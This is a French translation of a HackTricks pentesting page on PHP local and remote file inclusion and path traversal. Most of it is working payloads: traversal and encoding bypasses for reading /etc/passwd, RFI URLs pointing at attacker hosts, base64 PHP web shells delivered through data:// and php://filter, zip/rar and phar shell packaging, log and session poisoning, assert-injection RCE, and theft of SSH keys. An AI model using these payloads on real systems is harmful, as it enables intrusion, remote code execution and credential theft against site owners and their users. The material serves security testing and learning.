.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Inclusion de fichier/Parcours de chemin
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus du Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
Nouvelles du Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
Dernières Annonces
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Inclusion de fichier
Inclusion de fichier distant (RFI) : Le fichier est chargé depuis un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, ceci est désactivé par défaut (allow_url_include).
Inclusion de fichier local (LFI) : Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Aveugle - Intéressant - Fichiers LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
En mélangeant plusieurs listes LFI *nix et en ajoutant plus de chemins, j'ai créé celle-ci :
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Essayez également de changer /
par \
Essayez aussi d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici
Windows
En fusionnant plusieurs listes, j'ai créé :
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Essayez également de changer /
par \
Essayez aussi de supprimer C:/
et d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici
OS X
Vérifiez la liste LFI de linux.
LFI de base et contournements
Tous les exemples sont pour l'Inclusion de Fichier Local mais pourraient aussi être appliqués à l'Inclusion de Fichier Distant (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
séquences de traversée supprimées de manière non récursive
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Octet nul (%00)
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ce problème est résolu depuis PHP 5.4
Encodage
Vous pourriez utiliser des encodages non standard tels que le double encodage d'URL (et d'autres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Depuis un dossier existant
Il se peut que le back-end vérifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Identification des dossiers sur un serveur
Selon le code applicatif / les caractères autorisés, il pourrait être possible d'explorer récursivement le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire :
- identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès
/etc/passwd
(si sous Linux) :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- essayez de deviner le nom d'un dossier dans le répertoire courant en ajoutant le nom du dossier (ici,
private
), puis en revenant à/etc/passwd
:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- si l'application est vulnérable, il pourrait y avoir deux résultats différents à la requête :
- si vous obtenez une erreur / pas de sortie, le dossier
private
n'existe pas à cet emplacement - si vous obtenez le contenu de
/etc/passwd
, vous avez validé qu'il y a effectivement un dossierprivate
dans votre répertoire courant - le ou les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être explorés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, sous la même hypothèse (répertoire courant à la profondeur 3 du système de fichiers) vous souhaitez vérifier si /var/www/
contient un répertoire private
, utilisez le payload suivant :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
La séquence de commandes suivante permet la génération de charges utiles en utilisant sed
(1) comme entrée pour des outils de fuzzing d'URL tels que ffuf
(2) :
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée.
Troncature de chemin
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Toujours essayer de commencer le chemin avec un répertoire factice (a/).
Cette vulnérabilité a été corrigée dans PHP 5.3.
Astuces pour contourner les filtres
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Inclusion de fichier à distance
En php, cela est désactivé par défaut car allow_url_include
est Off. Il doit être On pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une exécution de commande à distance (RCE) :
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si pour une raison quelconque allow_url_include
est On, mais que PHP filtre l'accès aux pages web externes, selon cet article, vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
Dans le code précédent, le final +.txt
a été ajouté parce que l'attaquant avait besoin d'une chaîne qui se terminait par .txt
, donc la chaîne se termine par cela et après le décodage b64, cette partie retournera juste des données inutiles et le vrai code PHP sera inclus (et donc, exécuté).
{% endhint %}
Un autre exemple sans utiliser le protocole php://
serait :
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
## Élément racine Python
En python dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l'utilisateur passe un chemin absolu à file_name
, le chemin précédent est simplement supprimé :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
## Java List Directories
Il semble que si vous avez une Traversal de chemin en Java et que vous **demandez un répertoire** au lieu d'un fichier, **une liste du répertoire est retournée**. Ce phénomène ne se produira pas dans d'autres langages (à ma connaissance).
## Top 25 des paramètres
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (depuis [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI en utilisant les wrappers & protocoles PHP
php://filter
Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant qu'elles soient lues ou écrites. Il existe 5 catégories de filtres :
- Filtres de chaînes :
string.rot13
string.toupper
string.tolower
string.strip_tags
: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")- Notez que ce filtre a disparu des versions modernes de PHP
- Filtres de conversion
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforme en un encodage différent (convert.iconv.<input_enc>.<output_enc>
). Pour obtenir la liste de tous les encodages pris en charge, exécutez dans la console :iconv -l
{% hint style="warning" %}
En abusant du filtre de conversion convert.iconv.*
, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'informations, consultez LFI2RCE via les filtres PHP.
{% endhint %}
- Filtres de compression
zlib.deflate
: Compresse le contenu (utile si exfiltration de beaucoup d'informations)zlib.inflate
: Décompresse les données- Filtres de chiffrement
mcrypt.*
: Obsolètemdecrypt.*
: Obsolète- Autres filtres
- En exécutant
var_dump(stream_get_filters());
dans PHP, vous pouvez trouver quelques filtres inattendus : consumed
dechunk
: inverse l'encodage HTTP en morceauxconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} La partie "php://filter" n'est pas sensible à la casse {% endhint %}
php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder aux descripteurs de fichiers 0, 1 et 2 respectivement (pas sûr de l'utilité de cela dans une attaque)
zip:// et rar://
Téléchargez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être spécifiquement activé.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fait amusant : vous pouvez déclencher un XSS et contourner l'auditeur Chrome avec : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Notez que ce protocole est restreint par les configurations php allow_url_open
et allow_url_include
expect://
Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre charge utile dans les paramètres POST
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
phar://
Un fichier .phar
peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme include
pour charger le fichier.
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
Et vous pouvez compiler le phar
en exécutant la ligne suivante :
php --define phar.readonly=0 create_path.php
Un fichier appelé test.phar
sera généré que vous pouvez utiliser pour exploiter la LFI.
Si la LFI se contente de lire le fichier et n'exécute pas le code PHP à l'intérieur, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Vous pouvez essayer d'exploiter une désérialisation survenant lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez le post suivant :
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Plus de protocoles
Vérifiez plus de protocoles possibles à inclure ici:
- php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque par inclusion de fichier)
- file:// — Accès au système de fichiers local
- http:// — Accès aux URL HTTP(s)
- ftp:// — Accès aux URL FTP(s)
- zlib:// — Flux de compression
- glob:// — Recherche de chemins correspondant à un motif (Il ne retourne rien d'imprimable, donc pas vraiment utile ici)
- ssh2:// — Secure Shell 2
- ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)
LFI via l'assertion de PHP
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée comme ".." et répond par quelque chose comme "Tentative de piratage" ou "Bien essayé !", un payload d'injection 'assert' peut fonctionner.
Un payload comme celui-ci :
' and die(show_source('/etc/passwd')) or '
exploitera avec succès du code PHP pour un paramètre "file" qui ressemble à ceci :
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
Il est également possible d'obtenir un RCE dans une instruction "assert" vulnérable en utilisant la fonction system() :
' and die(system("whoami")) or '
Assurez-vous d'encoder les URL des charges utiles avant de les envoyer.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus du Hacking
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
Nouvelles du Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
Dernières Annonces
Restez informé avec les lancements de nouvelles primes de bugs et les mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
PHP Blind Path Traversal
{% hint style="warning" %}
Cette technique est pertinente dans les cas où vous contrôlez le chemin de fichier d'une fonction PHP qui va accéder à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()
), mais le contenu n'est pas affiché.
{% endhint %}
Dans cet incroyable article, il est expliqué comment un blind path traversal peut être abusé via le filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.
En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier si grand que la fonction PHP ouvrant le fichier déclenchera une erreur.
Ensuite, afin de fuiter le premier caractère, le filtre dechunk
est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les fuiter.
Fonctions qui pourraient être vulnérables : file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (seulement cible en lecture seule avec ceci)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Pour les détails techniques, consultez l'article mentionné !
LFI2RCE
Inclusion de Fichier à Distance
Expliqué précédemment, suivez ce lien.
Via le fichier log Apache/Nginx
Si le serveur Apache ou Nginx est vulnérable à LFI à l'intérieur de la fonction include, vous pourriez essayer d'accéder à /var/log/apache2/access.log
ou /var/log/nginx/access.log
, définir à l'intérieur de l'agent utilisateur ou dans un paramètre GET un shell PHP comme <?php system($_GET['c']); ?>
et inclure ce fichier
{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP lancera une erreur et rien d'autre ne sera exécuté.
De plus, assurez-vous d'écrire correctement la charge utile ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier log et vous n'aurez pas de seconde chance. {% endhint %}
Cela pourrait également être fait dans d'autres logs mais soyez prudent, le code à l'intérieur des logs pourrait être encodé en URL et cela pourrait détruire le Shell. L'en-tête authorisation "basic" contient "user:password" en Base64 et il est décodé à l'intérieur des logs. Le PHPShell pourrait être inséré à l'intérieur de cet en-tête.
Autres chemins de logs possibles :
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Liste de fuzzing : https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Envoyez un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?>
et essayez d'inclure le mail de l'utilisateur avec un chemin tel que /var/mail/<NOMUTILISATEUR>
ou /var/spool/mail/<NOMUTILISATEUR>
Via /proc/*/fd/*
- Téléchargez beaucoup de shells (par exemple : 100)
- Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé par brute force) et $FD le descripteur de fichier (peut aussi être forcé par brute force)
Via /proc/self/environ
Comme un fichier log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via téléchargement
Si vous pouvez télécharger un fichier, injectez simplement le payload de la shell dedans (par exemple : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Afin de maintenir le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
Via l'upload de fichier Zip
Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via les sessions PHP
Vérifiez si le site utilise une session PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définissez le cookie à <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utilisez le LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa
Via vsftpd logs
Les logs de ce serveur FTP sont stockés dans /var/log/vsftpd.log. Si vous avez un LFI et pouvez accéder à un serveur vsftpd exposé, vous pourriez essayer de vous connecter en définissant le payload PHP dans le nom d'utilisateur, puis accéder aux logs en utilisant le LFI.
Via le filtre base64 de php (utilisant base64)
comme montré dans cet article, le filtre base64 de PHP ignore simplement les Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de payload :
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (aucun fichier nécessaire)
Ce writeup explique que vous pouvez utiliser des filtres php pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via segmentation fault
Téléchargez un fichier qui sera stocké de manière temporaire dans /tmp
, puis dans la même requête, déclenchez un segmentation fault, et alors le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via Nginx temp file storage
Si vous avez trouvé une Local File Inclusion et que Nginx est utilisé devant PHP, vous pourriez obtenir un RCE avec la technique suivante :
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous avez trouvé une Local File Inclusion même si vous n'avez pas de session et que session.auto_start
est sur Off
. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS
dans des données multipart POST, PHP activera la session pour vous. Vous pourriez abuser de cela pour obtenir un RCE :
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via temp file uploads in Windows
Si vous avez trouvé une Local File Inclusion et que le serveur fonctionne sous Windows, vous pourriez obtenir un RCE :
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via phpinfo() (file_uploads = on)
Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir un RCE :
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Condition de Course :
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour télécharger des fichiers temporaires et faire en sorte que le serveur suspende l'exécution de PHP, vous pourriez alors forcer le nom des fichiers pendant des heures pour trouver le fichier temporaire :
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Jusqu'à l'erreur fatale
Si vous incluez l'un des fichiers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Vous devez inclure le même deux fois pour provoquer cette erreur).
Je ne sais pas en quoi cela peut être utile, mais cela pourrait l'être.
Même si vous provoquez une erreur fatale PHP, les fichiers temporaires téléchargés en PHP sont supprimés.
Références
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus de Hacking
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking.
Nouvelles de Hacking en Temps Réel
Restez à jour avec le monde du hacking en évolution rapide grâce à des nouvelles et des aperçus en temps réel.
Dernières Annonces
Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme.
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs.
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.